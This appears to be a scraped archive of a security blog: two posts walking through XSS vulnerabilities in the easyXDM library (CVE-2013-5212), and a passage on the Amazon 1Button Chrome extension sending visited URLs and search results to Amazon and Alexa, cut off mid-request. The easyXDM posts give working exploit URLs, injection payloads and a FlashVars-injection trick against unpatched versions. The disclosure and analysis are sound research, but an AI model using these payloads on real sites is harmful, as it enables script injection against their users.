<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEghkQ1v6zx4ygAggt34u0RtvhiHlnlyh_DjPLeM3u3K9XjlshE7SA3nBRoWXjT-fasyrRd4RM8PL43uMizl6tOK2jJf6HbdElGOq_rTxC3vrqSQQ06u_TjIweNiySdyQLUtzXFsz458Pc0/s1600/Screenshot+from+2013-12-12+13%253A33%253A43.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="126" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEghkQ1v6zx4ygAggt34u0RtvhiHlnlyh_DjPLeM3u3K9XjlshE7SA3nBRoWXjT-fasyrRd4RM8PL43uMizl6tOK2jJf6HbdElGOq_rTxC3vrqSQQ06u_TjIweNiySdyQLUtzXFsz458Pc0/s320/Screenshot+from+2013-12-12+13%253A33%253A43.png" width="320" /></a></div>
<br /></div>
</div>
</div>
</div>
Anonymoushttp://www.blogger.com/profile/11516786094492717236noreply@blogger.com0tag:blogger.com,1999:blog-3650259870998252242.post-29835119429945227682013-10-15T23:43:00.000+02:002013-10-16T00:58:37.887+02:00Exploiting EasyXDM part 2: & considered harmful<div dir="ltr" style="text-align: left;" trbidi="on">
<div dir="ltr" trbidi="on">
<br />
<i><b>tldr: </b>URL parsing is hard, always encode stuff and Safari has some interesting properties...</i><br />
<i><b><br /></b></i>
<i>This is a second post describing easyXDM vulnerabilities. Reading the first part might come in handy:</i><br />
<ul style="text-align: left;">
<li><a href="http://blog.kotowicz.net/2013/09/exploiting-easyxdm-part-1-not-usual.html">Exploiting EasyXDM part 1: Not the usual Flash XSS</a></li>
</ul>
<h2>
Intro</h2>
"EasyXDM is a Javascript library that enables you as a developer to easily <b>work around the limitation set in place by the Same Origin Policy</b>, in turn making it easy to communicate and expose javascript API’s across domain boundaries". Vulnerabilities were found in <b>2.4.16</b> version, and are patched in <b>2.4.18</b>. They are tracked with a single <a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-5212">CVE-2013-5212</a>.<br />
<br />
In first post I've described <a href="http://blog.kotowicz.net/2013/09/exploiting-easyxdm-part-1-not-usual.html">XSS vulnerability in Flash transport</a> used by that library, however the exploit conditions were very limiting. On websites using easyXDM the following code (used e.g. to set up RPC endpoints):<br />
<pre class="html" name="code"><script type="text/javascript" src="easyXDM.debug.js">
</script>
<script type="text/javascript">
var transport = new easyXDM.Socket({
local: ".",
swf: "easyxdm.swf",
});
</script>
</pre>
can cause XSS when it's loaded by URL like:
<span style="font-family: Courier New, Courier, monospace;">http://example.com?#xdm_e=https%3A%2F%2Flossssscalhost&xdm_c=default7059&xdm_p=6&xdm_s=j%5C%22-alerssst(2)))%7Dcatch(e)%7Balert(document.domain)%7D%2F%2Feheheh</span>. That will force easyXDM to use vulnerable Flash transport and pass the injected XSS payload. However, the payload will only be used unless Flash file is set up with FlashVars parameter <span style="font-family: Courier New, Courier, monospace;">log=true</span>.<br />
<h2>
Mom, where do flashvars come from?</h2>
Let's dig deeper. How is the HTML for the SWF inclusion constructed? Looking at the source code at GitHub (<a href="https://github.com/oyvindkinsey/easyXDM/blob/18c42cff3ab2da68961826786a0c305888bfb6a7/src/stack/FlashTransport.js">FlashTransport.js</a>):<br />
<pre class="brush:js;highlight:[5,7]" name="code">function addSwf(domain){
...
// create the object/embed
var flashVars = "callback=flash_loaded" + domain.replace(/[\-.]/g, "_") + "&proto=" +
global.location.protocol + "&domain=" + getDomainName(global.location.href) + "&port=" +
getPort(global.location.href) + "&ns=" + namespace;
// #ifdef debug
flashVars += "&log=true";
// #endif
..
swfContainer.innerHTML = ... + "<param name='flashvars' value='" +
flashVars +
"'></param>" ....
</pre>
This 'debug' flag is a <a href="http://en.wikipedia.org/wiki/Preprocessor">preprocessor</a> instruction. The <span style="font-family: Courier New, Courier, monospace;">#ifdef</span> / <span style="font-family: Courier New, Courier, monospace;">#endif</span> block of code will only be included in <span style="font-family: Courier New, Courier, monospace;">easyXDM.<b>debug</b>.js</span> file:<br />
<pre name="code"><!-- Process pre proccesing instructions like #if/#endif etc -->
<preprocess infile="work/easyXDM.combined.js" outfile="work/easyXDM.js"/>
<preprocess infile="work/easyXDM.combined.js" outfile="work/easyXDM.debug.js" defines="debug"/></pre>
Exploiting <span style="font-family: Courier New, Courier, monospace;">easyXDM.debug.js</span> file described in the first post was straightforward. But if production version of easyXDM library is used instead, there is no <span style="font-family: Courier New, Courier, monospace;">log</span> parameter and XSS won't work. What can we do? Like always - look at the code, because <span style="font-family: Courier New, Courier, monospace;">code=vulns</span>.<br />
<h2>
Thou shalt not parse URLs thyself!</h2>
In FlashVars construction code <span style="font-family: Courier New, Courier, monospace;">getPort</span> and <span style="font-family: Courier New, Courier, monospace;">getDomainName</span> functions are used to extract domain and port parameters from current window location (<span style="font-family: Courier New, Courier, monospace;">global.location</span>). Let's see what happens with domain name (<a href="https://github.com/oyvindkinsey/easyXDM/blob/18c42cff3ab2da68961826786a0c305888bfb6a7/src/Core.js">Core.js</a>):<br />
<pre class="js" name="code">function getDomainName(url){
// #ifdef debug
if (!url) {
throw new Error("url is undefined or empty");
}
// #endif
return url.match(reURI)[3];
}
</pre>
<div dir="ltr" trbidi="on">
<div dir="ltr" trbidi="on">
It is being matched against the following regular expression:<br />
<pre class="js" name="code">var reURI = /^((http.?:)\/\/([^:\/\s]+)(:\d+)*)/; // returns groups for protocol (2), domain (3) and port (4)
</pre>
In simpler terms - everything after <span style="font-family: Courier New, Courier, monospace;">httpX://</span> and before <span style="font-family: Courier New, Courier, monospace;">:digits</span> or a <span style="font-family: Courier New, Courier, monospace;">/</span> becomes a domain name. Seems solid, right? WRONG.</div>
Among many tricks bypassing URL parsers (see e.g. <a href="http://kotowicz.net/absolute">kotowicz.net/absolute</a>), HTTP authentication parameters are rarely used. But this time they fit perfectly. You see, hostname (domain name) is not the only thing that comes right after protocol. Not to bore you with <a href="http://tools.ietf.org/html/rfc3986#section-3.2.1">RFCs</a>, this is also a valid URL:<br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;">http://user:password@host/</span><br />
<div>
<br /></div>
<div>
If our document was loaded from URL containing user credentials, <span style="font-family: Courier New, Courier, monospace;">getDomainName() </span>would return <span style="font-family: Courier New, Courier, monospace;">user:password@host </span>(sometimes, there are browser differences here). FlashVars, in that case, would be: </div>
<div>
<pre class="brush:js;highlight:[5]" name="code">callback=flash_loaded_something&proto=http:&domain=user:password@host&port=&ns=something</pre>
</div>
</div>
<div>
Still, nothing interesting, but...</div>
<h2>
Honor thy Encoding and thy Context</h2>
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg4Wh1aWmjgZL2a8AkMVwLCE6OTwQpz0BHV6YhVY37W-dn0iczjGl4ZBqKEa5CQLH4OsffDeZ99nVvMSvL5rYvRIMvq2ZjsXa-WL3iUFAtfoNTQT69T9g96BQFcYB9EvSUJsHu6i0QmsgU/s1600/12.jpg" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg4Wh1aWmjgZL2a8AkMVwLCE6OTwQpz0BHV6YhVY37W-dn0iczjGl4ZBqKEa5CQLH4OsffDeZ99nVvMSvL5rYvRIMvq2ZjsXa-WL3iUFAtfoNTQT69T9g96BQFcYB9EvSUJsHu6i0QmsgU/s1600/12.jpg" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">(c) Wumo - <a href="http://kindofnormal.com/wumo/2013/10/12">http://kindofnormal.com/wumo/2013/10/12</a></td></tr>
</tbody></table>
In previous example we injected some characters into FlashVars string, but none of them were dangerous in that context. But as you can see:
<br />
<pre class="js" name="code"> var flashVars = "callback=flash_loaded" + domain.replace(/[\-.]/g, "_") + "&proto=" + global.location.protocol + "&domain=" + getDomainName(global.location.href) + "&port=" + getPort(global.location.href) + "&ns=" + namespace;</pre>
Values of various parameters are not percent encoded (i.e. <span style="font-family: Courier New, Courier, monospace;">encodeURIComponent </span>is not used) If we could only use <b>&</b> and <b>=</b> characters in username part, we could <b>inject additional Flashvars</b>. For example, loading this URL:<br />
<br />
<span style="font-family: Courier New, Courier, monospace;">http://<b>example.com&log=true&a=</b>@example.com?#xdm_e=https%3A%2F%2Flossssscalhost&xdm_c=default7059&xdm_p=6&xdm_s=j%5C%22-alerssst(2)))%7Dcatch(e)%7Balert(document.domain)%7D%2F%2Feheheh</span><br />
<div>
<br />
(the bold part is actually the <b>username</b>, not a domain name) would cause:</div>
<pre name="code">...proto=http:&domain=example.com&log=true&a=@example.com&port=...
</pre>
injecting our <span style="font-family: Courier New, Courier, monospace;">log=true</span> parameter and triggering the exploit. But can we?
<br />
<h2>
Effin phishers!</h2>
Kinda. Credentials in URL were used extensively in phishing attacks, so most current browsers don't really like them. While usually you can use = and & characters in credentials, there are serious obstacles, f.e:<br />
<ul style="text-align: left;">
<li>Firefox won't return credentials at all in <span style="font-family: Courier New, Courier, monospace;">location.href</span></li>
<li>Chrome will percent encode crucial characters, including = and &</li>
</ul>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://i64.photobucket.com/albums/h170/mflissinger/sadpanda.gif" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="200" src="http://i64.photobucket.com/albums/h170/mflissinger/sadpanda.gif" width="200" /></a></div>
However, Safari 6 does not see a problem with loading URL like this: <b>http://h=&ello@localhost/ </b>and returning the same thing in<b> location.href. </b>So - easyXDM 2.4.16 is XSS exploitable in Safari 6 and possibly in some other obscure or ancient browsers. In Safari due to effing phishers using credentials in URL will trigger a phishing warning, so the user must confirm the navigation. Well, Sad Panda^2. But still - it's an easyXDM universal XSS on a popular browser with limited user interaction.<br />
<h2>
Developers</h2>
<ul style="text-align: left;">
<li>Always use context aware encoding!</li>
<li>Don't parse URLs manually!</li>
</ul>
</div>
</div>
Anonymoushttp://www.blogger.com/profile/11516786094492717236noreply@blogger.com0tag:blogger.com,1999:blog-3650259870998252242.post-67613206381704317342013-09-23T15:46:00.001+02:002013-10-15T23:44:39.490+02:00Exploiting EasyXDM part 1: Not the usual Flash XSS<div dir="ltr" style="text-align: left;" trbidi="on">
<b>tldr: </b>You're using easyXDM? Upgrade NOW. Otherwise - read up on exploiting difficult Flash vulnerabilities in practice.<br />
<br />
Secure cross-domain communication is hard enough, but it's a piece of cake compared to making it work in legacy browsers. One popular library that tries to handle all the quirks and even builds an RPC framework is <a href="http://easyxdm.net/wp/">easyXDM</a>.<br />
<br />
But this is not an advertisement. As usual, you only get to hear about easyXDM here, because I found some interesting vulnerabilities. Combined, those allow me to XSS websites using that library. <span style="font-size: xx-small;">Certain conditions apply. </span>As exploiting the subject matter is quite complex, I decided to split the post into two parts, this being the first one.<br />
<a name='more'></a><h2>
Intro</h2>
"EasyXDM is a Javascript library that enables you as a developer to easily <b>work around the limitation set in place by the Same Origin Policy</b>, in turn making it easy to communicate and expose javascript API’s across domain boundaries". Vulnerabilities were found in <b>2.4.16</b> version, and are patched in <b>2.4.18</b>. They are tracked with a single <a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-5212">CVE-2013-5212</a>. As a side note - don't we all love <a href="http://www.frederik-braun.com/thesis/">working around this pesky Same Origin Policy</a>?<br />
<br />
Off we go!<br />
<br />
EasyXDM is a library for client-side (i.e. window to window) communication. For example, it allows one to setup an <a href="http://en.wikipedia.org/wiki/Remote_procedure_call">RPC</a> endpoint that could be accessed cross-domain. Imagine <span style="font-family: Courier New, Courier, monospace;">http://a.caller.com</span> document calling functions from <span style="font-family: Courier New, Courier, monospace;">http://rpc.example.net/rpc.html</span> (see <a href="http://erikeldridge.wordpress.com/2011/03/07/cross-domain-ajax-with-easyxdm/">example</a>). We don't need the ful setup though. For our purpose, all we're interested in is that there is some <span style="font-family: Courier New, Courier, monospace;">http://rpc.example.net/rpc.html</span> document with easyXDM script that initializes <span style="font-family: 'Courier New', Courier, monospace;">EasyXDM.Rpc</span> endpoint based on <i>some</i> input parameters.<br />
<br />
Remember that cross-browser requirement? Nowadays we can just use HTML5 <a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/web-messaging.html">postMessage API</a> to transport messages cross-domain, but for legacy browsers we need to rely on old & dirty tricks. EasyXDM supports quite a few transport mechanisms. One of them is Flash. And this brings us to:<br />
<h2>
Flash XSS. Hell yeah!</h2>
Flash transport is implemented in small <span style="font-family: Courier New, Courier, monospace;">easyxdm.swf</span> file that uses <a href="http://help.adobe.com/en_US/FlashPlatform/reference/actionscript/3/flash/net/LocalConnection.html"><span style="font-family: Courier New, Courier, monospace;">LocalConnection</span></a> for transferring messages (see <a href="https://github.com/oyvindkinsey/easyXDM/blob/18c42cff3ab2da68961826786a0c305888bfb6a7/src/flash/net.easyxdm.flash/Main.as">source</a>). It also uses <span style="font-family: Courier New, Courier, monospace;"><a href="http://help.adobe.com/en_US/FlashPlatform/reference/actionscript/3/flash/external/ExternalInterface.html">ExternalInterface</a></span> to communicate with JS on embedding document (in our case, <span style="font-family: 'Courier New', Courier, monospace;">http://rpc.example.net/rpc.html</span>). The same <span style="font-family: Courier New, Courier, monospace;">ExternalInterface</span> that was used <a href="http://lcamtuf.blogspot.com/2011/03/other-reason-to-beware-of.htm">multiple</a> <a href="http://soroush.secproject.com/blog/2011/03/flash-externalinterface-call-javascript-injection-%E2%80%93-can-make-the-websites-vulnerable-to-xss/">times</a> as a handy XSS enabler. Putting all past great research in two points:<br />
<ul style="text-align: left;">
<li>If anything attacker controlled ends up in <span style="font-family: Courier New, Courier, monospace;">ExternalInterface.call()</span>, we have a really nasty XSS on a page embedding Flash that Adobe won't fix but should have,</li>
<li>The vector is <span style="font-family: Courier New, Courier, monospace;">\"));throw_error()}catch(e){alert(1))}//</span></li>
<li>Usually the payload is in <a href="http://helpx.adobe.com/flash/kb/pass-variables-swfs-flashvars.html">FlashVars</a> (parameters passed from HTML document to Flash application) and is trivial to trigger because you can just load a <span style="font-family: Courier New, Courier, monospace;">http://file.swf?a_flashvars_param=xss</span> URL. </li>
</ul>
<div class="separator" style="clear: both; text-align: center;">
</div>
However, it's not a walk in the park here as:<br />
<blockquote class="tr_bq">
<b>This release, and specifically the new FlashTransport has </b>now<b> been audited </b>by a member of the Google Security-team, and <b>we are quite confident in its level of security</b>.</blockquote>
<div style="text-align: right;">
<a href="http://easyxdm.net/wp/2011/05/02/v2-4-13-new-security-release/">http://easyxdm.net/wp/2011/05/02/v2-4-13-new-security-release/</a></div>
<div style="text-align: right;">
<br /></div>
That shouldn't scare us, right? Let's look what gets passed to <span style="font-family: Courier New, Courier, monospace;">ExternalInterface.call()</span>. <b> </b>We'll quickly find that <b>if debug output is enabled</b> (which happens when <a href="http://helpx.adobe.com/flash/kb/pass-variables-swfs-flashvars.html">FlashVar</a> <span style="font-family: Courier New, Courier, monospace;">log=true</span>), <span style="font-family: Courier New, Courier, monospace;">channel</span> and <span style="font-family: Courier New, Courier, monospace;">secret</span> variables end up in there.<br />
<pre class="javascript" name="code">// createChannel function...
var receivingChannelName:String = "<em>" + channel + "</em>" + secret + "_" + (isHost ? "provider" : "consumer");
...
if (listeningConnection.connect(receivingChannelName)) {
log("listening on " + receivingChannelName);
} else {
log("could not listen on " + receivingChannelName);
}
// set up the logger, if any
var log = _root.log == "true" ? function(msg) {
ExternalInterface.call(prefix + "easyXDM.Debug.trace", " swf: " + msg);
} : function() {
};
</pre>
Where do these variables come from? SWF creates a <span style="font-family: Courier New, Courier, monospace;">createChannel</span> function in HTML document, so they are passed from Javascript. And, while <span style="font-family: Courier New, Courier, monospace;">channel</span> is sanitized with character whitelist, <span style="font-family: Courier New, Courier, monospace;">secret</span> is not:<br />
<pre class="javascript" name="code">ExternalInterface.addCallback("createChannel", { }, function(channel:String, secret:String, remoteOrigin:String, isHost:Boolean) {
if (!Main.Validate(channel)) return;
...// Main.validate(secret) should be here as well...
</pre>
So, if attacker can set the <span style="font-family: Courier New, Courier, monospace;">secret</span> to e.g.<br />
<pre class="javascript" name="code">j\"-alerssst(2)))}catch(e){alert(document.domain)}//
</pre>
<div style="text-align: left;">
and force the Flash file to log that secret, we have XSS. Pay attention though, <b><span style="font-family: Courier New, Courier, monospace;">secret</span> is not a FlashVar</b>, so the exploitation is different. To trigger the vulnerability on <span style="font-family: Courier New, Courier, monospace;">rpc.example.net</span>, we need a document there that looks roughly like this:</div>
<pre class="html" name="code"><object classid="..." id="swf">
<param name="movie" value="easyxdm.swf" />
<param name=FlashVars value="log=true&..." />
</object>
<script>
document.getElementById('swf').createChannel('channel', 'j\"-alerssst(2)))}catch(e){alert(document.domain)}//', ...);
</script>
</pre>
<div style="text-align: left;">
Of course, we cannot create such a document directly (we'd need XSS for that), To achieve our goal, we'll use some gadgets from easyXDM to do that work for us, sort of like <a href="http://en.wikipedia.org/wiki/Return-oriented_programming">ROP</a>. Told you - not a walk in the park. To exploit the flaw in easyXDM RPC endpoint we need to:</div>
<ol style="text-align: left;">
<li>force easyXDM to use Flash transport</li>
<li>have control over the <span style="font-family: Courier New, Courier, monospace;">secret</span> value</li>
<li>force <span style="font-family: Courier New, Courier, monospace;">easyxdm.swf</span> to use debugging output</li>
</ol>
<div>
Let's do it!</div>
<h2>
Force Flash transport</h2>
As easyXDM uses various transport mechanisms, it needs a way of telling remote party which transport method will be used. The author decided the URL of the endpoint itself for that purpose. Initialization parameters are extracted from <span style="font-family: Courier New, Courier, monospace;">location</span> object (<a href="https://github.com/oyvindkinsey/easyXDM/blob/19933fb24d32438bd383e9dca6077ac347615877/src/Core.js#L630-L634">source</a>):<br />
<pre class="javascript" name="code">// build the query object either from location.query, if it contains the xdm_e argument, or from location.hash
var query = (function(input){
input = input.substring(1).split("&");
var data = {}, pair, i = input.length;
while (i--) {
pair = input[i].split("=");
data[pair[0]] = decodeURIComponent(pair[1]);
}
return data;
}(/xdm_e=/.test(location.search) ? location.search : location.hash));
function prepareTransportStack(config){
// ...
config.channel = query.xdm_c.replace(/["'<>\\]/g, "");
config.secret = query.xdm_s;
config.remote = query.xdm_e.replace(/["'<>\\]/g, "");
protocol = query.xdm_p;
// ...
}
</pre>
We can of course abuse that setup and force easyXDM to use the vulnerable Flash transport. That requires setting <span style="font-family: Courier New, Courier, monospace;">xdp=6</span> parameter in the URL (easiest to do in fragment part of an URI). So all you need is <span style="font-family: 'Courier New', Courier, monospace;">http://rpc.example.net/rpc.html#love=(too-too-roo-roo-roo)&</span><span style="font-family: 'Courier New', Courier, monospace;">xdp_p=6</span>.<br />
<h2>
Whisper the secret</h2>
Similar to 1. GET <span style="font-family: Courier New, Courier, monospace;">xdp_s</span> parameter value becomes a channel <i>secret</i> and easyXDM passes that to <span style="font-family: Courier New, Courier, monospace;">createChannel()</span> function automatically. Attacker only needs to append <span style="font-family: Courier New, Courier, monospace;">xdp_s</span> parameter to URI fragment part, e.g.:
<br />
<pre name="code"><span style="font-family: 'Courier New', Courier, monospace;">http://rpc.example.net/rpc.html</span><span style="font-family: Courier New, Courier, monospace;">#xdp_p=6&xdp_s=j%5C%22-alerssst(2)))%7Dcatch(e)%7Balert(location)%7D%2F%2Feheheh</span></pre>
<h2>
Turn on debugging</h2>
Flash file must use the debugging functionality, which requires passing FlashVars <span style="font-family: Courier New, Courier, monospace;">log</span> parameter with the value <span style="font-family: Courier New, Courier, monospace;">true</span>. Luckily, this is the default value if RPC endpoint uses <span style="font-family: Courier New, Courier, monospace;">easyXDM.debug.js</span> script. For example <i>if</i> <span style="font-family: Courier New, Courier, monospace;">http://rpc.example.net/rpc.html</span> contains:<br />
<pre class="javascript" name="code"><script type="text/javascript" src="easyXDM.debug.js"></script>
<script type="text/javascript">
var transport = new easyXDM.Socket({
local: ".",
swf: "http://easyxdm.net/current/easyxdm.swf",
});
</script>
</pre>
Then exploiting it requires navigating to:<br />
<span style="font-family: Courier New, Courier, monospace;">http://rpc.example.net/rpc.html#xdm_e=https%3A%2F%2Flossssscalhost&xdm_c=default7059&xdm_p=6&xdm_s=j%5C%22-alerssst(2)))%7Dcatch(e)%7Balert(document.domain)%7D%2F%2Feheheh</span><br />
<br />
Sites implementing EasyXDM are vulnerable if <span style="font-family: Courier New, Courier, monospace;">easyxdm.debug.js</span> is included anywhere in the codebase in documents that call <span style="font-family: Courier New, Courier, monospace;">EasyXDM.Socket()</span> or <span style="font-family: Courier New, Courier, monospace;">EasyXDM.Rpc()</span>. What's worse, standard easyXDM distribution has a lot of these documents, e.g. located in <span style="font-family: Courier New, Courier, monospace;">test</span><span style="font-family: inherit;"> and </span><span style="font-family: Courier New, Courier, monospace;">example</span> subdirectories. So if the full distribution of easyXDM < 2.4.18 is uploaded somewhere, XSS is as easy as:<br />
<br />
<span style="font-family: Courier New, Courier, monospace;">http://example.com/easyxdm/test/test_transport.html?#xdm_e=https%3A%2F%2Flossssscalhost&xdm_c=default7059&xdm_p=6&xdm_s=j%5C%22-alerssst(2)))%7Dcatch(e)%7Balert(location)%7D%2F%2Feheheh</span><br />
<h2>
Summary</h2>
So we have an exploitable XSS vulnerability on websites that:<br />
<ul style="text-align: left;">
<li>use full installation of easyXDM library with exemplary directories reachable by URL</li>
<li>or use <span style="font-family: Courier New, Courier, monospace;">easyxdm.debug.js</span> script in their code.</li>
</ul>
<div>
Neat, but it's not enough. I was able to find another chained vulnerability to XSS <b>all </b>websites using easyXDM library, not needing to rely on the <span style="font-family: Courier New, Courier, monospace;">easyxdm.debug.js</span> script defaults. But that's a story for the 2nd post...<br />
<br />
<i>This is a first post describing easyXDM vulnerabilities. The second post is available at:</i><br />
<ul>
<li><a href="http://blog.kotowicz.net/2013/10/exploiting-easyxdm-part-2-considered.html">Exploiting EasyXDM part 2: & considered harmful</a></li>
</ul>
</div>
</div>
Anonymoushttp://www.blogger.com/profile/11516786094492717236noreply@blogger.com0tag:blogger.com,1999:blog-3650259870998252242.post-21102891482561552282013-07-11T21:11:00.000+02:002013-07-12T20:53:39.920+02:00Jealous of PRISM? Use "Amazon 1 Button" Chrome extension to sniff all HTTPS websites!<div dir="ltr" style="text-align: left;" trbidi="on">
<div dir="ltr" style="text-align: left;" trbidi="on">
<b>tldr:</b> Insecure browser addons may leak all your encrypted SSL traffic, exploits included<br />
<br />
So, Snowden let the cat out of the bag. They're listening - the news are so big, that feds are <a href="https://www.defcon.org/html/defcon-21/dc-21-news.html#dc21fedbreak">no longer welcome at DEFCON.</a> But let's all be honest - who doesn't like to snoop into other person's secrets? We all know how to set up rogue AP and use ettercap. Setting up your own wall of sheep is <a href="https://github.com/clockfort/wall-of-sheep/blob/master/wall_of_sheep.pl">trivial</a>. I think we can safely assume - <b>plaintext traffic is dead easy to sniff and modify</b>.<br />
<br />
The real deal though is in the encrypted traffic. In browser's world that means <b>all the juicy stuff is sent over HTTPS</b>. Though intercepting HTTPS connections is possible, we can only do it via: <br />
<ul style="text-align: left;">
<li>hacking the CA</li>
<li>social engineering (install the certificate) </li>
<li>relying on click-through syndrome for SSL warnings</li>
</ul>
Too hard. Let's try some side channels. Let me show you how you can <b>view all SSL encrypted data</b>, via exploiting <a href="https://chrome.google.com/webstore/detail/amazon-1button-app-for-ch/pbjikboenpfhbbejgkoklgkhjpfogcam"><b>Amazon 1Button App</b></a> installed on your victims' browsers. <br />
<a name='more'></a><h2 style="text-align: left;">
The extension info</h2>
<div style="text-align: left;">
Some short info about our hero of the day:<br />
<br />
<a href="https://chrome.google.com/webstore/detail/amazon-1button-app-for-ch/pbjikboenpfhbbejgkoklgkhjpfogcam">Amazon 1Button App Chrome extension</a></div>
<div style="text-align: left;">
Version: 3.2013.627.0<br />
Updated: June 28, 2013</div>
<div style="text-align: left;">
</div>
<div style="text-align: left;">
<br />
<b></b></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgGXq830DyHoA-Dt3ePwafsIYLX9oCcGxj0BmYdKsL0Y1hCUgj38VO0Oxj_a-1BekTug0ywlLRcX9c6pwAVmJhQiIXKPGg5FRP9Pf580d8D2pHpzj1egliL1CmcGSDcAq23MLfbqlESivs/s1600/amazon.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="217" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgGXq830DyHoA-Dt3ePwafsIYLX9oCcGxj0BmYdKsL0Y1hCUgj38VO0Oxj_a-1BekTug0ywlLRcX9c6pwAVmJhQiIXKPGg5FRP9Pf580d8D2pHpzj1egliL1CmcGSDcAq23MLfbqlESivs/s320/amazon.png" width="320" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
<b>1,791,011</b> users (scary, becase the extension needs the following permissions):</div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEik2Uwlw-KqQBi4yEmJEABRbmWR0zvLJB13gU55HXtdKTpKfq88IP_gnx_V2Ida8JjAqlfcUn39EXd7uu9_zQBUTngcjQw24EL8iWMJrP7_0iDtZOl5le4yWz4f2ccJ6KMbFGLCPLjVqSw/s1600/permissions.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="246" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEik2Uwlw-KqQBi4yEmJEABRbmWR0zvLJB13gU55HXtdKTpKfq88IP_gnx_V2Ida8JjAqlfcUn39EXd7uu9_zQBUTngcjQw24EL8iWMJrP7_0iDtZOl5le4yWz4f2ccJ6KMbFGLCPLjVqSw/s320/permissions.png" width="320" /></a></div>
<h2 class="separator" style="clear: both; text-align: left;">
Amazon cares for your privacy...not</h2>
<div class="separator" style="clear: both; text-align: left;">
First, a little info about how it abuses your privacy, in case you use it already (tldr; uninstall NOW!). There's a few interesting things going on (all of them require no user interaction and are based on default settings):</div>
<h3>
It reports to Amazon every URL you visit, even HTTPS URLs.</h3>
<pre class="brush: text">GET /gp/bit/apps/web/SIA/scraper?url=https://gist.github.com/ HTTP/1.1
Host: www.amazon.com
Connection: keep-alive
Accept: */*
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.116 Safari/537.36
Referer: https://gist.github.com/
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8,pl;q=0.6
Cookie: lots-of-amazon-cookies
</pre>
Unfortunately, this request goes over HTTPS, so only Amazon can know your URLs. <span style="font-size: xx-small;">You might want to look at Firefox version of the extension though (hint, hint)</span>.<br />
<br />
It's against what they claim in their <a href="http://www.amazon.com/gp/BIT/AmazonBrowserBar/TOU">Privacy Policy</a>:<br />
<blockquote class="tr_bq">
The Amazon Browser Apps may also collect
information about the websites you view, <b>but that information is not
associated with your Amazon account</b> or identified with you.
</blockquote>
Well, request to
https://www.amazon.com/gp/bit/apps/web/SIA/scraper?url=https://gist.github.com/
sends a lot of my Amazon cookies, doesn't it? But that's just a start.<br />
<h3>
Amazon XSS-es every website you visit</h3>
So called SIA feature of the extension is just that:
<br />
<pre class="brush:js">// main.js in extension code
chrome.tabs.onUpdated.addListener(function(tabId, changeInfo, tab) {
if (siaEnabled && changeInfo.status === 'complete') {
Logger.log('Injecting SIA');
storage.get('options.ubp_root', function(options_root) {
var root = options_root['options.ubp_root']
chrome.tabs.executeScript(null, { code: "(function() { var s = document.createElement('script'); s.src = \"" + root + "/gp/bit/apps/web/SIA/scraper?url=\" + document.location.href; document.body.appendChild(s);}());" });
});
}
});
</pre>
So, it attaches external <span style="font-family: "Courier New",Courier,monospace;"><script></span> on any website, and its code can be tailored to the exact URL of the page. To be fair, currently the script for all tested websites is just a harmless function.<br />
<pre class="brush: text">
HTTP/1.1 200 OK
Server: nginx
Date: Thu, 11 Jul 2013 11:14:34 GMT
Content-Type: text/javascript; charset=UTF-8
...
(function(window,document){})(window,document);
</pre>
So it's just like a ninja sent to every house that just awaits for further orders. <span style="font-family: "Courier New",Courier,monospace;">/me</span> doesn't like this anyway. Who knows what sites are modified, maybe it depends on your location, Amazon ID etc.<br />
<h3>
It reports contents of certain websites you visit to Alexa</h3>
Yes, not just URLs. For example, your Google searches over HTTPS, and a few first results are now known to Alexa as well.<br />
<pre class="brush:text">POST http://widgets.alexa.com/traffic/rankr/?ref=https%3A%2F%2Fwww.google.pl%2Fsearch%3F...t%2526q%253Dhow%252Bto%252Boverthrow%252Ba%252Bgovernment... HTTP/1.1
Host: widgets.alexa.com
Proxy-Connection: keep-alive
Content-Length: 662
accept: application/xml
Origin: chrome-extension://pbjikboenpfhbbejgkoklgkhjpfogcam
User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.116 Safari/537.36
Content-Type: text/plain; charset=UTF-8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8,pl;q=0.6
Cookie: aid=JRDTh1rpFM00ES
http://rense.com/general50/hwt.htm
http://en.wikipedia.org/wiki/Coup_d'%C3%A9tat
http://www.law.cornell.edu/uscode/text/18/2385
http://www.thefreedictionary.com/overthrow
